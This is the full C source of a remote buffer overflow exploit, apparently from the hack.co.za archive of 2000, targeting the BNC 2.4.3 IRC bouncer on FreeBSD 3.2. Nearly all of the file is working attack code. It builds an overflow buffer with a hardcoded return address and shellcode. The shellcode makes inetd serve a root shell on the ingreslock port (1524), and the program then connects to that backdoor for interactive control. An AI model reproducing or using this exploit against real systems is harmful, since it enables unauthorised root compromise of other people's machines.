/*
 *  BNC 2.4.3 exploit for FreeBSD 3.2-REL
 *  This version of BNC is shipped in the FBSD 3.2-REL ports collection.
 *
 *  $ ./fbsd-bnc echelon 6669
 *  [...]
 *  Host `192.168.2.34` successfully owned.
 *  sh: can't access tty; job control turned off
 *  #
 *
 *  This is *not* the same exploit as in 2.2.* versions of BNC (contrary
 *  to what some outspoken individuals appear to think).
 *
 *  Thanks to gov-boi for beta-testing the linux version of this exploit.
 *
 *  - anathema <anathema@box.co.uk>
 *
 *  Usage: ./fbsd-bnc dst_host|ip [src_prt] dst_prt
 *     eg: ./fbsd-bnc echelon 6669      - dest port of 6669
 *     eg: ./fbsd-bnc echelon 242 1024  - src port of 242, dest port of 1024
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define ADDR			0x804dd70      /* BNC 2.4.3 : FBSD 3.2-REL */
#define BUFLEN			1019
#define PREPEND_LEN		193
#define DELAY			5

char c0de[] =
  "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
  "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
  "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
  "\x03\x03\x03\x03\x04\x04\x04\x04"
  "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
  "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/x;"
  "/usr/sbin/inetd /tmp/x; /bin/rm -f /tmp/x";

u_long
resolve_host(u_char *host)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr(host)) == -1)
    {
      host_ent = gethostbyname(host);
      if (!host_ent) return((u_long)0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return (addr.s_addr);
}

void
shellz(u_long dst_ip)
{
  struct sockaddr_in sin;
  u_char sock_buf[8192];
  fd_set fds;
  int sock;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(1524); /* ingreslock */
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to backdoor");
      exit(-1);
    }

  fprintf(stderr, "\nHost `%s` successfully owned.\n",
          inet_ntoa(sin.sin_addr));
  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(sock, &fds);

      select(255, &fds, NULL, NULL, NULL);
      memset(sock_buf, 0, sizeof(sock_buf));

      if (FD_ISSET(sock, &fds))
        {
          read(sock, sock_buf, sizeof(sock_buf));
          fprintf(stderr, "%s", sock_buf);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, sock_buf, sizeof(sock_buf));
          write(sock, sock_buf, strlen(sock_buf));
        }
    }

  /* NOTREACHED */
}

int
overflow_buf(u_char *buf, int buf_len)
{
  u_long addr = ADDR;
  int i = 0, j = 0;

  for (i = 0; i < PREPEND_LEN;)
    {
      /* Initial JMP opcodes to be prepended */
      buf[i++] = 0xeb;
      buf[i++] = 0x20;
    }

  buf[i++] = 0xeb;
  buf[i++] = 0xeb;
  buf[i++] = 0x40;
  buf[i++] = 0x20;

  j = i;
  for (; i < (j + 8);)
    {
      /* Second JMP set */
      buf[i++] = 0xeb;
      buf[i++] = 0x20;
    }

  /* FreeBSD 3.2-REL: 0x804dd70 */
  buf[i++] = (addr & 0x000000ff);
  buf[i++] = (addr & 0x0000ff00) >> 8;
  buf[i++] = (addr & 0x00ff0000) >> 16;
  buf[i++] = (addr & 0xff000000) >> 24;

  memset(buf + i, 0x90, BUFLEN - strlen(c0de));
  memcpy(buf + BUFLEN - strlen(c0de), c0de, strlen(c0de));
  memcpy(buf + BUFLEN, "\x00\x90\x20", 3);

  return(i + BUFLEN + 3);
}

void
exploit(u_long dst_ip, u_short src_prt, u_short dst_prt)
{
  struct sockaddr_in sin;
  u_char buf[8192] = {0};
  int sock, len = 0;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  if (src_prt)
    {
      struct sockaddr_in min;
      int one = 1, *o_pt = &one;

      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
        {
          perror("setsockopt SO_REUSEADDR");
          exit(-1);
        }

      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;

      if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
        {
          perror("bind");
          exit(-1);
        }
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(dst_prt);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to bnc daemon");
      exit(-1);
    }

  len = overflow_buf(buf, sizeof(buf));

  if (write(sock, buf, len) != len)
    {
      fprintf(stderr, "err: truncated write()\n");
      exit(-1);
    }

  sleep(DELAY);

  shellz(dst_ip);
  /* NOTREACHED */
}

void
usage(u_char *nomenclature)
{
  fprintf(stderr, "usage:\t%s dst_host|ip [src_prt] dst_prt\n",
          nomenclature);
  exit(0);
}

int
main(int argc, char **argv)
{
  u_long dst_ip = 0;
  u_short src_prt = 0, dst_prt = 0;

  fprintf(stderr, "BNC 2.4.3 exploit for FreeBSD 3.2-RELEASE\n"
          "This version of BNC is shipped in the FBSD 3.2-REL ports collection.\n"
          "\n- anathema <anathema@hack.co.za>\n\n");

  if (argc != 3 && argc != 4)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  if (argc == 3)
    {
      dst_prt = (u_short)atoi(argv[2]);
    }

  if (argc == 4)
    {
      src_prt = (u_short)atoi(argv[2]);
      dst_prt = (u_short)atoi(argv[3]);
    }

  exploit(dst_ip, src_prt, dst_prt);
  /* NOTREACHED */
}


/*                    www.hack.co.za              [2000]*/